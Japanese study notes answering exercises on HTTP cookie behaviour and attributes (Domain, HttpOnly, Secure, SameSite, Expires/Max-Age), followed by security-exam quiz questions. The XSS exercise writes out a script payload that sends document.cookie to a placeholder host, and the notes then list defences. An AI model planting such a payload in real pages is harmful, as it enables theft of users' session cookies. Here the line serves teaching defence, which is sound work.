## 課題1-1 Cookieとは何か?
Cookieは、ブラウザがサーバから受け取った情報を保存しておくためのデータです。
HTTP通信において、Cookieは以下の流れで利用されています。
1. ブラウザがWebサーバにリクエストを送る
2. Webサーバはリクエストを受けて、レスポンスとSet-Cookieヘッダを返す
3. ブラウザはレスポンスヘッダに含まれるCookieを保存する
4. ブラウザは、再度1のドメインにリクエストを送る場合、CookieをCookieヘッダーに含めてリクエストを送る
### ブラウザのCookieの保存形式
[RFC6265 5.3. Storage Model](https://tex2e.github.io/rfc-translater/html/rfc6265.html#:~:text=%E3%81%8C%E3%81%82%E3%82%8A%E3%81%BE%E3%81%99%E3%80%82-,5.3.%20Storage%20Model,-5.3.%20%E3%82%B9%E3%83%88%E3%83%AC%E3%83%BC%E3%82%B8%E3%83%A2%E3%83%87%E3%83%AB)
> ユーザーエージェントは、各Cookieに関する次のフィールドを保存します。
>
> name, value, expiry-time, domain, path, creation-time, last-access-time, persistent-flag, host-only-flag, secure-only-flag, and http-only-flag
### Cookie, Set-Cookieヘッダ
[MDN - Cookieの作成、削除、更新](https://developer.mozilla.org/ja/docs/Web/HTTP/Guides/Cookies#cookie_%E3%81%AE%E4%BD%9C%E6%88%90%E3%80%81%E5%89%8A%E9%99%A4%E3%80%81%E6%9B%B4%E6%96%B0)
Set-Cookieヘッダを含めたHTTPレスポンス
```HTTP
HTTP/2.0 200 OK
Content-Type: text/html
Set-Cookie: yummy_cookie=choco
Set-Cookie: tasty_cookie=strawberry
```
Cookieヘッダを含めたHTTPリクエスト
```HTTP
GET /sample_page.html HTTP/2.0
Host: www.example.org
Cookie: yummy_cookie=choco; tasty_cookie=strawberry
```
## 課題1-2 `www.hoge.com`で発行されたCookieは、`www.fuga.com`にも送信されるでしょうか?
送信されません。
### 理由
ブラウザはリクエストを送る際に、保存されているCookieのドメインと、リクエスト先のドメインを確認します。
この時、ブラウザがCookieをリクエストに含めるのはドメイン名が同じ場合のみになります。
[RFC6265 5.4. Cookie Header](https://tex2e.github.io/rfc-translater/html/rfc6265.html#:~:text=1.%20cookie%2Dlist%E3%82%92%E3%80%81%E4%BB%A5%E4%B8%8B%E3%81%AE%E3%81%99%E3%81%B9%E3%81%A6%E3%81%AE%E8%A6%81%E4%BB%B6%E3%82%92%E6%BA%80%E3%81%9F%E3%81%99Cookie%E3%82%B9%E3%83%88%E3%82%A2%E3%81%8B%E3%82%89%E3%81%AECookie%E3%81%AE%E3%82%BB%E3%83%83%E3%83%88%E3%81%A8%E3%81%97%E3%81%BE%E3%81%99%E3%80%82)
> cookie-listを、以下のすべての要件を満たすCookieストアからのCookieのセットとします。
>
> Cookieのhost-only-flagはtrueであり、正規化された要求ホストはCookieのドメインと同じです。または、Cookieのhost-only-flagがfalseであり、正規化された要求ホストドメインがCookieのドメインと一致しています。
※HostOnlyは、Domain属性がない場合にデフォルトで有効になる。
## 課題1-3 `hoge.com:8080`のCookieは`hoge.com:9090`にも送信されるでしょうか?
送信されます。
### 理由
ポート番号が異なる場合でも、Cookieを送信するとRFCで定められています。
[RFC6265 - 8.5. Weak Confidentiality](https://tex2e.github.io/rfc-translater/html/rfc6265.html#:~:text=8.5.%20Weak%20Confidentiality-,8.5.%20%E6%A9%9F%E5%AF%86%E6%80%A7%E3%81%8C%E5%BC%B1%E3%81%84,-Cookies%20do%20not)
> Cookieはポートによる分離を提供しません。
>
> あるポートで実行されているサービスがCookieを読み取ることができる場合、同じサーバーの別のポートで実行されているサービスもCookieを読み取ることができます。
## 課題1-4 `www.hoge.com`で発行されたCookieは、`www.api.hoge.com`にも送信されるでしょうか?
送信されません。
### 理由
`www.api.hoge.com`は異なるホスト(サブドメイン)と見なされます。
[RFC6265 4.1.2.3. The Domain Attribute](https://tex2e.github.io/rfc-translater/html/rfc6265.html#:~:text=%E4%BF%9D%E6%8C%81%E3%81%97%E3%81%BE%E3%81%99%E3%80%82-,4.1.2.3,-.%20The%20Domain%20Attribute)
> foo.example.comはexample.comとは異なるホスト(サブドメイン)と見なされるため、Domain属性が明示的に設定されていないCookieはfoo.example.comには送信されません
## 課題1-5 Cookieに`Domain="hoge.com"`を指定した場合、`api.hoge.com`にもCookieは送信されるでしょうか?
送信されます。
### 理由
`Domain="hoge.com"`と明示的に指定されているCookieは、「ドメインおよび、そのすべてのサブドメインに対して送信される」と定められています。
[RFC6265 4.1.2.3. The Domain Attribute](https://tex2e.github.io/rfc-translater/html/rfc6265.html#:~:text=%E4%BF%9D%E6%8C%81%E3%81%97%E3%81%BE%E3%81%99%E3%80%82-,4.1.2.3,-.%20The%20Domain%20Attribute)
> Domain属性は、Cookieの送信先となるホストを指定します。
>
> たとえば、ドメイン属性の値が「example.com」の場合、ユーザーエージェントは、example.com、www.example.com、www.corp.exampleにHTTPリクエストを送信するときに、CookieヘッダーにCookieを含めます。
## 課題1-6 JavaScriptからCookieの値が取得されることを防ぐことは可能でしょうか?
可能です。
### 理由
Cookieに`HttpOnly`属性を付与することで、JavaScriptからのアクセスを防ぐことができます。
CookieでセッションIDや認証トークンなどサーバの認証に用いる情報を用いる場合、外部から取得・操作されないよう`HttpOnly`属性を付与することが求められます。
[RFC6265 4.1.2.6. The HttpOnly Attribute](https://tex2e.github.io/rfc-translater/html/rfc6265.html#:~:text=%E3%81%A6%E3%81%8F%E3%81%A0%E3%81%95%E3%81%84%EF%BC%89%E3%80%82-,4.1.2.6.,-The%20HttpOnly%20Attribute)
> HttpOnly属性は、CookieのスコープをHTTPリクエストに制限します。
>
> 特に、この属性は、「HTTP以外」のAPI(Cookieをスクリプトに公開するWebブラウザーAPIなど)を介してCookieへのアクセスを提供するときに、Cookieを省略するようにユーザーエージェントに指示します。
## 課題1-7 HTTPS(暗号化)通信の時だけCookieを送信することは可能でしょうか?
可能です。
### 理由
Cookieに`Secure`属性を付与することで、HTTPS通信の時だけCookieが送信されるようになります。
[RFC6265 4.1.2.5. The Secure Attribute](https://tex2e.github.io/rfc-translater/html/rfc6265.html#:~:text=8%E3%82%92%E5%8F%82%E7%85%A7%EF%BC%89%E3%80%82-,4.1.2.5.%20The,-Secure%20Attribute)
> Secure属性は、Cookieの範囲を「セキュア」チャネルに制限します(「セキュア」はユーザーエージェントによって定義されます)。
>
> CookieにSecure属性が設定されている場合、ユーザーエージェントは、要求がセキュリティで保護されたチャネル(通常はHTTP over Transport Layer Security(TLS)[RFC2818])経由で送信される場合にのみ、HTTP要求にCookieを含めます。
HTTP通信の場合、公衆WiFiなど安全でないネットワーク上では通信内容を読み取られる場合があります。そのため、重要な情報には`Secure`属性を付与することが求められます。
## 課題1-8 CookieにExpiresを設定すると、どのように挙動が変わるでしょうか?
### Expriesが設定されていない場合
ブラウザを閉じると自動的にそのCookieは削除されます。
[RFC6265 4.1.2.2. The Max-Age Attribute](https://tex2e.github.io/rfc-translater/html/rfc6265.html#:~:text=%E3%82%88%E3%81%8F%E3%81%82%E3%82%8A%E3%81%BE%E3%81%99%E3%80%82-,4.1.2.2.,-The%20Max%2DAge)
> CookieにMax-Age属性もExpires属性もない場合、ユーザーエージェントは「現在のセッションが終了する」まで(ユーザーエージェントによって定義されたとおり)Cookieを保持します。
### Expiresが設定されている場合
ブラウザを閉じても削除されず、Expiresで指定した有効期限を超えない限り永久?に残ります。
[RFC6265 4.1.2.1. The Expires Attribute](https://tex2e.github.io/rfc-translater/html/rfc6265.html#:~:text=%E3%82%88%E3%81%8F%E3%81%82%E3%82%8A%E3%81%BE%E3%81%99%E3%80%82-,4.1.2.2.,-The%20Max%2DAge)
> Expires属性は、Cookieの最大有効期間を示し、Cookieが期限切れになる日時として表されます。
### Max-Age属性を指定した場合
新しくRFC6265でExpiresの代替属性として、Max-Age属性が策定され、Expires属性の代わりにMax-Age属性が広く使われるようになっています。
なお、ExpiresとMax-Ageの両方が設定された場合、Max-Ageが優先されるようになっています。
[RFC6265 4.1.2.2. The Max-Age Attribute](https://tex2e.github.io/rfc-translater/html/rfc6265.html#:~:text=%E3%82%88%E3%81%8F%E3%81%82%E3%82%8A%E3%81%BE%E3%81%99%E3%80%82-,4.1.2.2.,-The%20Max%2DAge)
> CookieにMax-Age属性とExpires属性の両方がある場合、Max-Age属性が優先され、Cookieの有効期限を制御します。
## 課題1-9 SameSite属性について説明してください
SameSite属性によって、別のドメインにリクエストを送る場合に、Cookieを含めるかどうか制御できます。
CookieにSameSite属性を含めることで、悪意あるサイトがユーザのCookie情報を使って不正な通信を行わせる、クロスサイトリクエストフォージェリ(CSRF)を防止できます。
なお、SameSite属性はRFC6265には存在せず、2011年のRFC6265の後、2019年にRFC6265bisという形で改訂されたバージョンで定義された属性らしい。
[Cookieの改訂版仕様 rfc6265bis の変更点](https://asnokaze.hatenablog.com/entry/2024/05/07/002720)
> SameSite属性
>
> 新しく定義されたCookieの属性であり、リクエストが同じSiteの時のみCookieが送信されるように制限できる。
### SameSite属性の設定
SameSite属性はStrict, Lax, Noneの3つの値が設定できます。
- Strict
- 現在のドメインとリクエスト先のドメインが同じ場合にのみ、Cookieを送信できる
- Lax (※SameSite属性が指定されていない場合のデフォルト値)
- 一部のリクエストのみ、別ドメインへのCookie送信を許可できる
- 許可パターン:`<a href="...">`などのシンプルなGETリクエスト
- 制限パターン:`<form method="POST">`、`<img>`、`<iframe>`、`fetch()`などHTML以外のリソースを読み込むリクエスト
- ユーザに気づかないうちに、勝手にCookieを使って通信させる攻撃はLaxで防止できる
- None
- すべてのリクエストにおいてCookieを送信できる
- ただし、CookieにSecure属性が設定されていない場合は送信されない
## 課題1-10 Cookieに格納しない方が良い情報の例を、3つ以上挙げてください
1. パスワードや認証に必要な情報
2. クレジットカード番号などの決済情報
3. 住所などの個人情報
4. 4KBの制限を超えてしまうようなデータ
## 課題1-11 Cookieを使うべきタイミングと、localStorageを使うべきタイミングを挙げてみてください
セキュリティに関するデータや、HTTP通信時にブラウザからデータを受け取りたい場合はCookie,クライアント内で処理が完結するようなものはlocalStorageを使う。
### Cookieを使うタイミング
- ログインセッションを維持しながら別のページに遷移したい
- 開始から一定時間を超えたセッションは終了されるようにしたい場合
- ECサイトでの購入手続きページなど
### localStorage
- ダークモードなどのテーマ設定 → クライアント側でスタイルの切り替えができるため
- フォームの入力内容の一時保存 → サーバ上で一時入力内容を保持する必要がないため
- ECサイトのカートに入れた商品の保存 → サーバ上で購入手続きが始まる前の内容は保持しておく必要もないため
## 課題1-12 Stack OverflowのようなWEB掲示板サービスを開発しているとしましょう。XSS(クロスサイトスクリプティング)により、他ユーザのCookie情報が抜き出される仕組みを説明してください。どのような対策が考えられますか?
### 仕組み
1. 悪意あるユーザが掲示板に`<script>(new Image()).src = 'http://www.hoge.com?cookie=' + document.cookie;</script>`のような`document.cookie`を別のサーバに投稿させるようなJavaScriptコードを投稿する。
2. 掲示板が、この投稿をそのままデータベースに文字列として保存する。
3. 他のユーザが、この投稿を含んだページを閲覧する。
1. この時、ブラウザは1.の文字列をJavaScriptとして認識して実行する
2. 閲覧者のcookieが、別サイトに送信される。
3. ユーザが気づかないうちに、認証に必要なSessionIDをcookie経由で渡してしまう
### 対策
- 出力時のエスケープ処理
- ユーザから受け取ったデータをHTMLとして出力する場合は、特殊文字をHTML用の文字列にエンコードする(`<`:`<`,`&`:`&`)など
- 例えば、ReactだとJSX式内に埋め込まれた文字列は自動で特殊文字にエスケープされてHTML文字列として渡してくれる(`dangerouslySetInnerHTML`だとエスケープしてくれない)
- `HttpOnly`属性を認証に使うCookieに付与する
- [コンテンツセキュリティポリシー](https://developer.mozilla.org/ja/docs/Web/HTTP/Guides/CSP)をmetaタグやHTTPヘッダーに設定する
- [XSS対策のため、Zennも導入したらしい](https://zenn.dev/team_zenn/articles/introduced-csp-to-zenn#fn-e761-1)が、設定手順はそれなりに手間がかかるものらしい。
## 課題2 クイズ
IPAの情報処理安全確保支援士の問題からクイズを出題します。
[過去問道場](https://www.sc-siken.com/kakomon/07_haru/)
を見てみると、Cookieの仕様については、午前の選択問題ではほとんど出題されず、午後の筆記試験でよく問われるようです。
過去10年でCookieのSecure属性の動作について問われるものが2,3年に1度出るかどうかって感じでした([CSRF](https://www.sc-siken.com/kakomon/06_haru/am2_1.html)とか、[OSコマンドインジェクション](https://www.sc-siken.com/kakomon/04_haru/am2_1.html)のようなHTTP通信時の脆弱性に関する問題の方が頻出)
ちなみに、応用情報技術者試験の過去問にCookieやHTTP通信の細かな仕様に関する問題は1問もありませんでした。
### 問題
[このNoteでは、SC10回分から「Cookie」のセキュリティ問題を搔き集めた](https://note.com/sennai/n/nf6a4ecd0568a)記事から抜粋しています。
過去10年分の午前②選択問題で、Cookieについての問題が2問あったようです。
どちらもSecure属性についての問題でした。
①
```txt
CookieにSecure属性を設定したときの動作として,適切なものはどれか。
ア:Cookieに設定されたあと有効期限を過ぎると、Cookieは無効になる。
イ:JavaScriptによるCookieの読み出しが禁止される。
ウ:URLのスキームがhttpsの時だけ、WebブラウザにCookieが送られる。
エ:WebブラウザがアクセスするURL内のパスとCookieに設定されたパスのプレフィックスが一致するときだけ,WebブラウザからCookieが送出される。
```
②
```txt
WebサーバからのHTTPS通信の応答で、cookie発行時にSecure属性を設定したときの処理はどれか。
ア:WebサーバがSecure属性に時間を設定し、Webブラウザはその指定時間を過ぎたらcookieを削除する。
イ:WebサーバがSecure属性にホスト名を設定し、Webブラウザはその指定ホストにcookieを送信する。
ウ:WebサーバがSecure属性を設定し、WebブラウザはHTTPS通信時だけcookieを送信する。
エ:WebサーバがSecure属性を設定し、Webブラウザは終了時にcookieを必ず削除する。
```
### 解答
```txt
正答はウ。
Expires属性:有効期限に反応して。
HttpOnly属性:HTTP, HTTPS以外で悪用されないように。
正しい。HTTPSに反応して。
Path属性:URLやパスに反応して。
情報安全確保支援士
令和元年秋AMII問11
令和03年秋AMII問10
```
```txt
正答はウ。
ア:Expires属性。
イ:Domain属性。ホストとはコンピュータのこと。ややこしいですが、「WebブラウザがホストにCookieを送信」してるので、今回のホストとはWebサーバのこと。
ウ:正しい。
エ:他の設定法で対応します。覚えなくて良いです。
情報安全確保支援士 令和02年秋AMII問12
```